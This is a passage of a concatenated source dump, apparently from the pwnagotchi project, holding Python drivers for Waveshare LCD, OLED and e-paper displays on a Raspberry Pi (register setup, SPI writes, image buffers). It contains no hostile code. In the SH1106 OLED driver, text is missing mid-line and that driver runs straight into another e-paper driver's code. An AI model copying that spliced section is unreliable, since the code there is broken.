"Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import RPi.GPIO as GPIO import time import numpy as np from . import config LCD_1IN44 = 1 LCD_1IN8 = 0 if LCD_1IN44 == 1: LCD_WIDTH = 128 #LCD width LCD_HEIGHT = 128 #LCD height LCD_X = 2 LCD_Y = 1 if LCD_1IN8 == 1: LCD_WIDTH = 160 LCD_HEIGHT = 128 LCD_X = 1 LCD_Y = 2 LCD_X_MAXPIXEL = 132 #LCD width maximum memory LCD_Y_MAXPIXEL = 162 #LCD height maximum memory #scanning method L2R_U2D = 1 L2R_D2U = 2 R2L_U2D = 3 R2L_D2U = 4 U2D_L2R = 5 U2D_R2L = 6 D2U_L2R = 7 D2U_R2L = 8 SCAN_DIR_DFT = U2D_R2L class LCD: def __init__(self): GPIO.setmode(GPIO.BCM) self.width = LCD_WIDTH self.height = LCD_HEIGHT self.LCD_Scan_Dir = SCAN_DIR_DFT self.LCD_X_Adjust = LCD_X self.LCD_Y_Adjust = LCD_Y """ Hardware reset """ def LCD_Reset(self): GPIO.output(config.LCD_RST_PIN, GPIO.HIGH) config.Driver_Delay_ms(100) GPIO.output(config.LCD_RST_PIN, GPIO.LOW) config.Driver_Delay_ms(100) GPIO.output(config.LCD_RST_PIN, GPIO.HIGH) config.Driver_Delay_ms(100) """ Write register address and data """ def LCD_WriteReg(self, Reg): GPIO.setmode(GPIO.BCM) GPIO.setup(config.LCD_DC_PIN, GPIO.OUT) GPIO.output(config.LCD_DC_PIN, GPIO.LOW) config.SPI_Write_Byte([Reg]) def LCD_WriteData_8bit(self, Data): GPIO.output(config.LCD_DC_PIN, GPIO.HIGH) config.SPI_Write_Byte([Data]) def LCD_WriteData_NLen16Bit(self, Data, DataLen): GPIO.output(config.LCD_DC_PIN, GPIO.HIGH) for i in range(0, DataLen): config.SPI_Write_Byte([Data >> 8]) config.SPI_Write_Byte([Data & 0xff]) """ Common register initialization """ def LCD_InitReg(self): #ST7735R Frame Rate self.LCD_WriteReg(0xB1) self.LCD_WriteData_8bit(0x01) self.LCD_WriteData_8bit(0x2C) self.LCD_WriteData_8bit(0x2D) self.LCD_WriteReg(0xB2) self.LCD_WriteData_8bit(0x01) self.LCD_WriteData_8bit(0x2C) self.LCD_WriteData_8bit(0x2D) self.LCD_WriteReg(0xB3) self.LCD_WriteData_8bit(0x01) self.LCD_WriteData_8bit(0x2C) self.LCD_WriteData_8bit(0x2D) self.LCD_WriteData_8bit(0x01) self.LCD_WriteData_8bit(0x2C) self.LCD_WriteData_8bit(0x2D) #Column inversion self.LCD_WriteReg(0xB4) self.LCD_WriteData_8bit(0x07) #ST7735R Power Sequence self.LCD_WriteReg(0xC0) self.LCD_WriteData_8bit(0xA2) self.LCD_WriteData_8bit(0x02) self.LCD_WriteData_8bit(0x84) self.LCD_WriteReg(0xC1) self.LCD_WriteData_8bit(0xC5) self.LCD_WriteReg(0xC2) self.LCD_WriteData_8bit(0x0A) self.LCD_WriteData_8bit(0x00) self.LCD_WriteReg(0xC3) self.LCD_WriteData_8bit(0x8A) self.LCD_WriteData_8bit(0x2A) self.LCD_WriteReg(0xC4) self.LCD_WriteData_8bit(0x8A) self.LCD_WriteData_8bit(0xEE) self.LCD_WriteReg(0xC5)#VCOM self.LCD_WriteData_8bit(0x0E) #ST7735R Gamma Sequence self.LCD_WriteReg(0xe0) self.LCD_WriteData_8bit(0x0f) self.LCD_WriteData_8bit(0x1a) self.LCD_WriteData_8bit(0x0f) self.LCD_WriteData_8bit(0x18) self.LCD_WriteData_8bit(0x2f) self.LCD_WriteData_8bit(0x28) self.LCD_WriteData_8bit(0x20) self.LCD_WriteData_8bit(0x22) self.LCD_WriteData_8bit(0x1f) self.LCD_WriteData_8bit(0x1b) self.LCD_WriteData_8bit(0x23) self.LCD_WriteData_8bit(0x37) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit(0x07) self.LCD_WriteData_8bit(0x02) self.LCD_WriteData_8bit(0x10) self.LCD_WriteReg(0xe1) self.LCD_WriteData_8bit(0x0f) self.LCD_WriteData_8bit(0x1b) self.LCD_WriteData_8bit(0x0f) self.LCD_WriteData_8bit(0x17) self.LCD_WriteData_8bit(0x33) self.LCD_WriteData_8bit(0x2c) self.LCD_WriteData_8bit(0x29) self.LCD_WriteData_8bit(0x2e) self.LCD_WriteData_8bit(0x30) self.LCD_WriteData_8bit(0x30) self.LCD_WriteData_8bit(0x39) self.LCD_WriteData_8bit(0x3f) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit(0x07) self.LCD_WriteData_8bit(0x03) self.LCD_WriteData_8bit(0x10) #Enable test command self.LCD_WriteReg(0xF0) self.LCD_WriteData_8bit(0x01) #Disable ram power save mode self.LCD_WriteReg(0xF6) self.LCD_WriteData_8bit(0x00) #65k mode self.LCD_WriteReg(0x3A) self.LCD_WriteData_8bit(0x05) #******************************************************************************** #function: Set the display scan and color transfer modes #parameter: # Scan_dir : Scan direction # Colorchose : RGB or GBR color format #******************************************************************************** def LCD_SetGramScanWay(self, Scan_dir): #Get the screen scan direction self.LCD_Scan_Dir = Scan_dir #Get GRAM and LCD width and height if (Scan_dir == L2R_U2D) or (Scan_dir == L2R_D2U) or (Scan_dir == R2L_U2D) or (Scan_dir == R2L_D2U) : self.width = LCD_HEIGHT self.height = LCD_WIDTH if Scan_dir == L2R_U2D: MemoryAccessReg_Data = 0X00 | 0x00 elif Scan_dir == L2R_D2U: MemoryAccessReg_Data = 0X00 | 0x80 elif Scan_dir == R2L_U2D: MemoryAccessReg_Data = 0x40 | 0x00 else: #R2L_D2U: MemoryAccessReg_Data = 0x40 | 0x80 else: self.width = LCD_WIDTH self.height = LCD_HEIGHT if Scan_dir == U2D_L2R: MemoryAccessReg_Data = 0X00 | 0x00 | 0x20 elif Scan_dir == U2D_R2L: MemoryAccessReg_Data = 0X00 | 0x40 | 0x20 elif Scan_dir == D2U_L2R: MemoryAccessReg_Data = 0x80 | 0x00 | 0x20 else: #R2L_D2U MemoryAccessReg_Data = 0x40 | 0x80 | 0x20 #please set (MemoryAccessReg_Data & 0x10) != 1 if (MemoryAccessReg_Data & 0x10) != 1: self.LCD_X_Adjust = LCD_Y self.LCD_Y_Adjust = LCD_X else: self.LCD_X_Adjust = LCD_X self.LCD_Y_Adjust = LCD_Y # Set the read / write scan direction of the frame memory self.LCD_WriteReg(0x36) #MX, MY, RGB mode if LCD_1IN44 == 1: self.LCD_WriteData_8bit( MemoryAccessReg_Data | 0x08) #0x08 set RGB else: self.LCD_WriteData_8bit( MemoryAccessReg_Data & 0xf7) #RGB color filter panel #/******************************************************************************** #function: # initialization #********************************************************************************/ def LCD_Init(self, Lcd_ScanDir): if (config.GPIO_Init() != 0): return -1 #Turn on the backlight #GPIO.setup(config.LCD_BL_PIN, GPIO.OUT) GPIO.output(config.LCD_BL_PIN,GPIO.HIGH) #Hardware reset self.LCD_Reset() #Set the initialization register self.LCD_InitReg() #Set the display scan and color transfer modes self.LCD_SetGramScanWay(Lcd_ScanDir) config.Driver_Delay_ms(200) #sleep out self.LCD_WriteReg(0x11) config.Driver_Delay_ms(120) #Turn on the LCD display self.LCD_WriteReg(0x29) #/******************************************************************************** #function: Sets the start position and size of the display area #parameter: # Xstart : X direction Start coordinates # Ystart : Y direction Start coordinates # Xend : X direction end coordinates # Yend : Y direction end coordinates #********************************************************************************/ def LCD_SetWindows(self, Xstart, Ystart, Xend, Yend): #set the X coordinates self.LCD_WriteReg(0x2A) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit((Xstart & 0xff) + self.LCD_X_Adjust) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit(((Xend - 1) & 0xff) + self.LCD_X_Adjust) #set the Y coordinates self.LCD_WriteReg (0x2B) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit((Ystart & 0xff) + self.LCD_Y_Adjust) self.LCD_WriteData_8bit(0x00) self.LCD_WriteData_8bit(((Yend - 1) & 0xff )+ self.LCD_Y_Adjust) self.LCD_WriteReg(0x2C) def LCD_Clear(self): #hello _buffer = [0xff]*(self.width * self.height * 2) self.LCD_SetWindows(0, 0, self.width, self.height) GPIO.output(config.LCD_DC_PIN, GPIO.HIGH) for i in range(0,len(_buffer),4096): config.SPI_Write_Byte(_buffer[i:i+4096]) def LCD_ShowImage(self,Image,Xstart,Ystart): if (Image == None): return imwidth, imheight = Image.size if imwidth != self.width or imheight != self.height: raise ValueError('Image must be same dimensions as display \ ({0}x{1}).' .format(self.width, self.height)) img = np.asarray(Image) pix = np.zeros((self.width,self.height,2), dtype = np.uint8) pix[...,[0]] = np.add(np.bitwise_and(img[...,[0]],0xF8),np.right_shift(img[...,[1]],5)) pix[...,[1]] = np.add(np.bitwise_and(np.left_shift(img[...,[1]],3),0xE0),np.right_shift(img[...,[2]],3)) pix = pix.flatten().tolist() self.LCD_SetWindows(0, 0, self.width , self.height) GPIO.output(config.LCD_DC_PIN, GPIO.HIGH) for i in range(0,len(pix),4096): config.SPI_Write_Byte(pix[i:i+4096]) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat144/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat144/config.py ================================================ # /***************************************************************************** # * | File : config.py # * | Author : # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-12-06 # * | Info : # ******************************************************************************/ Device_SPI = 1 Device_I2C = 0 Device = Device_SPI #spi = spidev.SpiDev(0, 0) ## # @filename : DEV_Config.py # @brief : LCD hardware interface implements (GPIO, SPI) # @author : Yehui from Waveshare # # Copyright (C) Waveshare July 10 2017 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import spidev import RPi.GPIO as GPIO import time # Pin definition LCD_RST_PIN = 27 LCD_DC_PIN = 25 LCD_CS_PIN = 8 LCD_BL_PIN = 24 # SPI device, bus = 0, device = 0 SPI = spidev.SpiDev(0, 0) def epd_digital_write(pin, value): GPIO.output(pin, value) def Driver_Delay_ms(xms): time.sleep(xms / 1000.0) def SPI_Write_Byte(data): SPI.writebytes(data) def GPIO_Init(): GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(LCD_RST_PIN, GPIO.OUT) GPIO.setup(LCD_DC_PIN, GPIO.OUT) GPIO.setup(LCD_CS_PIN, GPIO.OUT) GPIO.setup(LCD_BL_PIN, GPIO.OUT) SPI.max_speed_hz = 9000000 SPI.mode = 0b00 return 0; ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat144/epd.py ================================================ # Waveshare 1.44inch LCD HAT # https://www.waveshare.com/1.44inch-lcd-hat.htm # https://www.waveshare.com/wiki/1.44inch_LCD_HAT # Driver: ST7735S # Interface: SPI # Display color: RGB, 65K color # Resolution: 128x128 # Backlight: LED # Operating voltage: 3.3V from . import config from . import LCD_1in44 from PIL import ImageOps class EPD(object): def __init__(self): self.width = 128 self.height = 128 self.LCD = LCD_1in44.LCD() self.LCD.Lcd_ScanDir = LCD_1in44.SCAN_DIR_DFT #SCAN_DIR_DFT = D2U_L2R self.LCD.LCD_Init(self.LCD.Lcd_ScanDir) def init(self): pass def clear(self): #self.LCD.LCD_Clear() pass def display(self, image): rgb_im = ImageOps.colorize(image.convert("L"), black ="green", white ="black") self.LCD.LCD_ShowImage(rgb_im, 0, 0) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/oledhat/SH1106.py ================================================ from . import config import RPi.GPIO as GPIO import time Device_SPI = config.Device_SPI Device_I2C = config.Device_I2C LCD_WIDTH = 128 #LCD width LCD_HEIGHT = 64 #LCD height class SH1106(object): def __init__(self): self.width = LCD_WIDTH self.height = LCD_HEIGHT #Initialize DC RST pin self._dc = config.DC_PIN self._rst = config.RST_PIN self._bl = config.BL_PIN self.Device = config.Device """ Write register address and data """ def command(self, cmd): if(self.Device == Device_SPI): GPIO.output(self._dc, GPIO.LOW) config.spi_writebyte([cmd]) else: config.i2c_writebyte(0x00, cmd) # def data(self, val): # GPIO.output(self._dc, GPIO.HIGH) # config.spi_writebyte([val]) def Init(self): if (config.module_init() != 0): return -1 """Initialize display""" self.reset() self.command(0xAE);#--turn off oled panel self.command(0x02);#---set low column address self.command(0x10);#---set high column address self.command(0x40);#--set start line address Set Mapping RAM Display Start Line (0x00~0x3F) self.command(0x81);#--set contrast control register self.command(0xA0);#--Set SEG/Column Mapping self.command(0xC0);#Set COM/Row Scan Direction self.command(0xA6);#--set normal display self.command(0xA8);#--set multiplex ratio(1 to 64) self.command(0x3F);#--1/64 duty self.command(0xD3);#-set display offset Shift Mapping RAM Counter (0x00~0x3F) self.command(0x00);#-not offset self.command(0xd5);#--set display clock divide ratio/oscillator frequency self.command(0x80);#--set divide ratio, Set Clock as 100 Frames/Sec self.command(0xD9);#--set pre-charge period self.command(0xF1);#Set Pre-Charge as 15 Clocks & Discharge as 1 Clock self.command(0xDA);#--set com pins hardware configuration self.command(0x12); self.command(0xDB);#--set vcomh self.command(0x40);#Set VCOM Deselect Level self.command(0x20);#-Set Page Addressing Mode (0x00/0x01/0x02) self.command(0x02);# self.command(0xA4);# Disable Entire Display On (0xa4/0xa5) self.command(0xA6);# Disable Inverse Display On (0xa6/a7) time.sleep(0.1) self.command(0xAF);#--turn on oled panel def reset(self): """Reset the display""" GPIO.output(self._rst,GPIO.HIGH) time.sleep(0.1) GPIO.output(self._rst,GPIO.LOW) time.sleep(0.1) GPIO.output(self._rst,GPIO.HIGH) time.sleep(0.1) def getbuffer(self, image): # print "bufsiz = ",(self.width/8) * self.height buf = [0xFF] * ((self.width//8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # print "imwidth = %d, imheight = %d",imwidth,imheight if(imwidth == self.width and imheight == self.height): #print ("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[x + (y // 8) * self.width] &= ~(1 << (y % 8)) # print x,y,x + (y * self.width)/8,buf[(x + y * self.width) / 8] elif(imwidth == self.height and imheight == self.width): #print ("Vertical") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[(newx + (newy // 8 )*self.width) ] &= ~(1 << (y % 8)) return buf # def ShowImage(self,Image): # self.SetWindows() # GPIO.output(self._dc, GPIO.HIGH); # for i in range(0,self.width * self.height/8): # config.spi_writebyte([~Image[i]]) def ShowImage(self, pBuf): for page in range(0,8): # set page address # self.command(0xB0 + page); # set low column address # self.command(0x02); # set high column address # self.command(0x10); # write data # time.sleep(0.01) if(self.Device == Device_SPI): GPIO.output(self._dc, GPIO.HIGH); for i in range(0,self.width):#for(int i=0;i> 8) & 0xFF) self.send_data(0x00) # GD = 0 SM = 0 TB = 0 self.send_command(0x0C) # BOOSTER_SOFT_START_CONTROL self.send_data(0xD7) self.send_data(0xD6) self.send_data(0x9D) self.send_command(0x2C) # WRITE_VCOM_REGISTER self.send_data(0xA8) # VCOM 7C self.send_command(0x3A) # SET_DUMMY_LINE_PERIOD self.send_data(0x1A) # 4 dummy lines per gate self.send_command(0x3B) # SET_GATE_TIME self.send_data(0x08) # 2us per line self.send_command(0X3C) # BORDER_WAVEFORM_CONTROL self.send_data(0x03) self.send_command(0X11) # DATA_ENTRY_MODE_SETTING self.send_data(0x03) # X increment; Y increment # WRITE_LUT_REGISTER self.send_command(0x32) for count in range(30): self.send_data(lut[count]) return 0 ## # @brief: specify the memory area for data R/W ## def SetWindows(self, x_start, y_start, x_end, y_end): self.send_command(0x44) # SET_RAM_X_ADDRESS_START_END_POSITION self.send_data((x_start >> 3) & 0xFF) self.send_data((x_end >> 3) & 0xFF) self.send_command(0x45) # SET_RAM_Y_ADDRESS_START_END_POSITION self.send_data(y_start & 0xFF) self.send_data((y_start >> 8) & 0xFF) self.send_data(y_end & 0xFF) self.send_data((y_end >> 8) & 0xFF) ## # @brief: specify the start point for data R/W ## def SetCursor(self, x, y): self.send_command(0x4E) # SET_RAM_X_ADDRESS_COUNTER # x point must be the multiple of 8 or the last 3 bits will be ignored self.send_data((x >> 3) & 0xFF) self.send_command(0x4F) # SET_RAM_Y_ADDRESS_COUNTER self.send_data(y & 0xFF) self.send_data((y >> 8) & 0xFF) self.ReadBusy() def getbuffer(self, image): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 buf = [0xFF] * (linewidth * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() if(imwidth == self.width and imheight == self.height): for y in range(imheight): for x in range(imwidth): if pixels[x, y] == 0: # x = imwidth - x buf[int(x / 8) + y * linewidth] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: # newy = imwidth - newy - 1 buf[int(newx / 8) + newy*linewidth] &= ~(0x80 >> (y % 8)) return buf def display(self, image): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 self.SetWindows(0, 0, self.width, self.height); for j in range(0, self.height): self.SetCursor(0, j); self.send_command(0x24); for i in range(0, linewidth): self.send_data(image[i + j * linewidth]) self.TurnOnDisplay() def Clear(self, color): if self.width%8 == 0: linewidth = int(self.width/8) else: linewidth = int(self.width/8) + 1 self.SetWindows(0, 0, self.width, self.height); for j in range(0, self.height): self.SetCursor(0, j); self.send_command(0x24); for i in range(0, linewidth): self.send_data(color) self.TurnOnDisplay() def sleep(self): self.send_command(0x10) #enter deep sleep self.send_data(0x01) epdconfig.delay_ms(100) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v1/epd2in13bc.py ================================================ # ***************************************************************************** # * | File : epd2in13bc.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # from . import epdconfig import RPi.GPIO as GPIO # import numpy as np # Display resolution EPD_WIDTH = 104 EPD_HEIGHT = 212 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, GPIO.HIGH) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, GPIO.LOW) # module reset epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, GPIO.HIGH) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, GPIO.LOW) epdconfig.digital_write(self.cs_pin, GPIO.LOW) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, GPIO.HIGH) def send_data(self, data): epdconfig.digital_write(self.dc_pin, GPIO.HIGH) epdconfig.digital_write(self.cs_pin, GPIO.LOW) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, GPIO.HIGH) def ReadBusy(self): epdconfig.delay_ms(20) while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy epdconfig.delay_ms(100) def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x06) # BOOSTER_SOFT_START self.send_data(0x17) self.send_data(0x17) self.send_data(0x17) self.send_command(0x04) # POWER_ON self.ReadBusy() self.send_command(0x00) # PANEL_SETTING self.send_data(0x8F) self.send_command(0x50) # VCOM_AND_DATA_INTERVAL_SETTING self.send_data(0xF0) self.send_command(0x61) # RESOLUTION_SETTING self.send_data(self.width & 0xff) self.send_data(self.height >> 8) self.send_data(self.height & 0xff) return 0 def getbuffer(self, image): buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() if(imwidth == self.width and imheight == self.height): for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def displayBlack(self, imageblack): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(imageblack[i]) self.send_command(0x92) self.send_command(0x12) # REFRESH self.ReadBusy() def display(self, imageblack, imagecolor): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(imageblack[i]) self.send_command(0x92) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(imagecolor[i]) self.send_command(0x92) self.send_command(0x12) # REFRESH self.ReadBusy() def Clear(self): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x92) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x92) self.send_command(0x12) # REFRESH self.ReadBusy() def sleep(self): self.send_command(0x02) # POWER_OFF self.ReadBusy() self.send_command(0x07) # DEEP_SLEEP self.send_data(0xA5) # check code # epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v1/epd2in13bcFAST.py ================================================ # ***************************************************************************** # * | File : epd2in13d.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # ============================================================================= # THIS FILE HAS BEEN MODIFIED FROM ORIGINAL, IT HAS BEEN MODIFIED TO RUN THE # THREE COLOR WAVESHARE 2.13IN DISPLAY AT A MUCH, MUCH FASTER RATE THAN NORMAL # AND IT COULD DAMAGE YOUR DISPLAY. THERE IS NO WARRANTY INCLUDED AND YOU USE # THIS CODE AT YOUR OWN RISK. WE ARE NOT RESPONSIBLE FOR ANYTHING THAT HAPPENS # INCLUDING BUT NOT LIMITED TO: DESTRUCTION OF YOUR DISPLAY, PI, HOUSE, CAR, # SPACE-TIME-CONTINUUM, OR IF THE CODE KILLS YOUR CAT. IF YOU AREN'T WILLING TO # TAKE THESE RISKS, PLEASE DO NOT USE THIS CODE. # ============================================================================= import logging from . import epdconfig from PIL import Image import RPi.GPIO as GPIO # Display resolution EPD_WIDTH = 104 EPD_HEIGHT = 212 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_vcomDC = [ 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x60, 0x28, 0x28, 0x00, 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww = [ 0x40, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x40, 0x14, 0x00, 0x00, 0x00, 0x01, 0xA0, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw = [ 0x40, 0x17, 0x00, 0x00, 0x00, 0x02, 0x90, 0x0F, 0x0F, 0x00, 0x00, 0x03, 0x40, 0x0A, 0x01, 0x00, 0x00, 0x01, 0xA0, 0x0E, 0x0E, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x00, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_vcom1 = [ 0xA0, 0x10, 0x10, 0x00, 0x00, 0x02, 0x00, 0x10, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww1 = [ 0x50, 0x01, 0x01, 0x00, 0x00, 0x01, 0xA0, 0x42, 0x42, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw1 = [ 0x50, 0x01, 0x01, 0x00, 0x00, 0x01, 0xA0, 0x42, 0x42, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 